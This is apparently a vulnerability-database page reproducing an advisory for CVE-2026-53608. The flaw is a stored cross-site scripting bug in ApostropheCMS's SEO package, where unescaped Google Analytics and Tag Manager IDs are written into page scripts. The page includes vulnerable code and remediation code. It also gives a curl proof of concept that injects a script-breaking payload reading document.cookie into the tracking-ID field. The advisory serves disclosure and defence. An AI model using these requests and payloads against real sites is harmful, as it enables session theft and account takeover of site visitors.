CVE-2026-53608: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in apostrophecms @apostrophecms/seo
<img width="1919" height="1046" alt="curl" src="https://github.com/user-attachments/assets/8aa19ff1-7f4b-44ee-83d5-d0dd1a0269f6" /> <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/a65012e8-9b2f-416f-94df-c00493f2ca1d" /> ### Summary The `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. ### Details The vulnerable code is in `node_modules/@apostrophecms/seo/lib/nodes.js`. **Google Analytics (lines 218–224):** ```javascript // seoGoogleTrackingId is inserted RAW into a <script> body — no escaping, no validation body: [ { raw: ` window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', '${global.seoGoogleTrackingId}'); ` } ] ``` **Google Tag Manager (lines 358–362):** ```javascript body: [ { raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');` } ] ``` These nodes are rendered by `renderNodes()` in ApostropheCMS core (`modules/@apostrophecms/template/index.js` lines 1176–1177): ```javascript if (node.raw != null) { return node.raw; // returned verbatim, no escaping } ``` The fields `seoGoogleTrackingId` and `seoGoogleTagManager` are defined as plain `type: 'string'` values with no pattern, minimum length, or maximum length validation in `seo-fields-global/index.js` lines 347–352. ApostropheCMS's permission model (`@apostrophecms/permission/index.js` line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue. ### PoC **Prerequisites:** ApostropheCMS with `@apostrophecms/seo` installed and `seoGoogleAnalytics: true` enabled in module options. An editor-level account. #### Step 1 — Login as editor ```bash curl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \ -H 'Content-Type: application/json' \ -d '{"username":"editor","password":"password"}' ``` Response: ```json {"token":"YOUR_TOKEN"} ``` #### Step 2 — Get the global document ID ```bash curl -s -H "Authorization: Bearer YOUR_TOKEN" \ http://TARGET/api/v1/@apostrophecms/global ``` Note the `_id` value ending in `:en:draft`. #### Step 3 — Inject payload into Google Analytics ID ```bash curl -s -X PATCH "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer YOUR_TOKEN" \ -d '{"seoGoogleTrackingId":"G-FAKE'"'"'); alert(document.cookie); //"}' ``` #### Step 4 — Publish ```bash curl -s -X POST "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish" \ -H "Authorization: Bearer YOUR_TOKEN" ``` #### Step 5 — Visit any page The injected payload appears in `<head>` and executes: ```html <script> gtag('config', 'G-FAKE'); alert(document.cookie); //'); </script> ``` ### Impact This is a Stored Cross-Site Scripting (XSS) vulnerability. Any user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site. Impact includes: - Session token theft of all visitors, including other editors and administrators - Full account takeover via stolen administrator cookies - Malware distribution, phishing overlays, or credential harvesting targeting site visitors - Persistent compromise, as the payload remains active until manually removed ### Remediation Validate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies. ```javascript // Validate format before accepting if (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) { throw new Error('Invalid tracking ID format'); } ``` ```javascript // Use safeJsonForScript instead of raw template literals body: [ { json: global.seoGoogleTrackingId } ] ``` Or: ```javascript // Escape the value before insertion raw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});` ``` <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/4f1d6708-093a-4f74-828b-937dbeab62e8" />
AI Analysis
Technical Summary
The @apostrophecms/seo package injects the seoGoogleTrackingId and seoGoogleTagManager values directly into <script> tag bodies using JavaScript template literals without any sanitization or validation. Editor-level users, who have permission to edit and publish the global singleton document containing these fields, can supply malicious JavaScript payloads. These payloads are stored and executed on every page load for all visitors because the rendering function returns raw script content verbatim without escaping. The fields are defined as plain strings with no format validation, enabling injection of arbitrary script code. This results in a stored XSS vulnerability (CWE-79) with high impact potential. No vendor advisory or patch information is provided, and the vulnerability remains unpatched as of the publication date.
Potential Impact
This stored cross-site scripting vulnerability allows any user with editor-level permissions to inject arbitrary JavaScript that executes in the context of every visitor's browser on every page of the affected site. Potential impacts include theft of session tokens and cookies, leading to account takeover of administrators and other users; distribution of malware; phishing attacks; and persistent site compromise until the malicious payload is removed. The vulnerability affects the confidentiality and integrity of user sessions and site content. The CVSS v3.1 score is 8.7 (High), reflecting network attack vector, low attack complexity, required privileges at editor level, user interaction required, scope change, and high confidentiality and integrity impact.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. In the meantime, it is recommended to validate the seoGoogleTrackingId and seoGoogleTagManager fields against expected formats before storage to reject malicious input. Additionally, escape or safely serialize these values before inserting them into script bodies to prevent raw injection. For example, use JSON serialization or a safe escaping function instead of raw template literals. Restrict editor permissions if possible until a fix is available. Monitor vendor channels for official patches or updates.
CVE-2026-53608: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in apostrophecms @apostrophecms/seo
Description
<img width="1919" height="1046" alt="curl" src="https://github.com/user-attachments/assets/8aa19ff1-7f4b-44ee-83d5-d0dd1a0269f6" /> <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/a65012e8-9b2f-416f-94df-c00493f2ca1d" /> ### Summary The `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site. ### Details The vulnerable code is in `node_modules/@apostrophecms/seo/lib/nodes.js`. **Google Analytics (lines 218–224):** ```javascript // seoGoogleTrackingId is inserted RAW into a <script> body — no escaping, no validation body: [ { raw: ` window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', '${global.seoGoogleTrackingId}'); ` } ] ``` **Google Tag Manager (lines 358–362):** ```javascript body: [ { raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');` } ] ``` These nodes are rendered by `renderNodes()` in ApostropheCMS core (`modules/@apostrophecms/template/index.js` lines 1176–1177): ```javascript if (node.raw != null) { return node.raw; // returned verbatim, no escaping } ``` The fields `seoGoogleTrackingId` and `seoGoogleTagManager` are defined as plain `type: 'string'` values with no pattern, minimum length, or maximum length validation in `seo-fields-global/index.js` lines 347–352. ApostropheCMS's permission model (`@apostrophecms/permission/index.js` line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue. ### PoC **Prerequisites:** ApostropheCMS with `@apostrophecms/seo` installed and `seoGoogleAnalytics: true` enabled in module options. An editor-level account. #### Step 1 — Login as editor ```bash curl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \ -H 'Content-Type: application/json' \ -d '{"username":"editor","password":"password"}' ``` Response: ```json {"token":"YOUR_TOKEN"} ``` #### Step 2 — Get the global document ID ```bash curl -s -H "Authorization: Bearer YOUR_TOKEN" \ http://TARGET/api/v1/@apostrophecms/global ``` Note the `_id` value ending in `:en:draft`. #### Step 3 — Inject payload into Google Analytics ID ```bash curl -s -X PATCH "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID" \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer YOUR_TOKEN" \ -d '{"seoGoogleTrackingId":"G-FAKE'"'"'); alert(document.cookie); //"}' ``` #### Step 4 — Publish ```bash curl -s -X POST "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish" \ -H "Authorization: Bearer YOUR_TOKEN" ``` #### Step 5 — Visit any page The injected payload appears in `<head>` and executes: ```html <script> gtag('config', 'G-FAKE'); alert(document.cookie); //'); </script> ``` ### Impact This is a Stored Cross-Site Scripting (XSS) vulnerability. Any user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site. Impact includes: - Session token theft of all visitors, including other editors and administrators - Full account takeover via stolen administrator cookies - Malware distribution, phishing overlays, or credential harvesting targeting site visitors - Persistent compromise, as the payload remains active until manually removed ### Remediation Validate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies. ```javascript // Validate format before accepting if (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) { throw new Error('Invalid tracking ID format'); } ``` ```javascript // Use safeJsonForScript instead of raw template literals body: [ { json: global.seoGoogleTrackingId } ] ``` Or: ```javascript // Escape the value before insertion raw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});` ``` <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/4f1d6708-093a-4f74-828b-937dbeab62e8" />
CVSS v3.1
Score 8.7high
Affected software
apostrophecms
@apostrophecms/seo
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The @apostrophecms/seo package injects the seoGoogleTrackingId and seoGoogleTagManager values directly into <script> tag bodies using JavaScript template literals without any sanitization or validation. Editor-level users, who have permission to edit and publish the global singleton document containing these fields, can supply malicious JavaScript payloads. These payloads are stored and executed on every page load for all visitors because the rendering function returns raw script content verbatim without escaping. The fields are defined as plain strings with no format validation, enabling injection of arbitrary script code. This results in a stored XSS vulnerability (CWE-79) with high impact potential. No vendor advisory or patch information is provided, and the vulnerability remains unpatched as of the publication date.
Potential Impact
This stored cross-site scripting vulnerability allows any user with editor-level permissions to inject arbitrary JavaScript that executes in the context of every visitor's browser on every page of the affected site. Potential impacts include theft of session tokens and cookies, leading to account takeover of administrators and other users; distribution of malware; phishing attacks; and persistent site compromise until the malicious payload is removed. The vulnerability affects the confidentiality and integrity of user sessions and site content. The CVSS v3.1 score is 8.7 (High), reflecting network attack vector, low attack complexity, required privileges at editor level, user interaction required, scope change, and high confidentiality and integrity impact.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. In the meantime, it is recommended to validate the seoGoogleTrackingId and seoGoogleTagManager fields against expected formats before storage to reject malicious input. Additionally, escape or safely serialize these values before inserting them into script bodies to prevent raw injection. For example, use JSON serialization or a safe escaping function instead of raw template literals. Restrict editor permissions if possible until a fix is available. Monitor vendor channels for official patches or updates.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- GitHub_M
- Date Reserved
- 2026-06-09T19:39:52.404Z
- Cvss Version
- 3.1
- State
- PUBLISHED
Threat ID: 6a2c7c93e617e2d834c6c823
Added to database: 06/12/2026, 21:39:31 UTC
Last enriched: 08/01/2026, 21:29:11 UTC
Last updated: 09/14/2026, 22:01:35 UTC
Views: 125
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.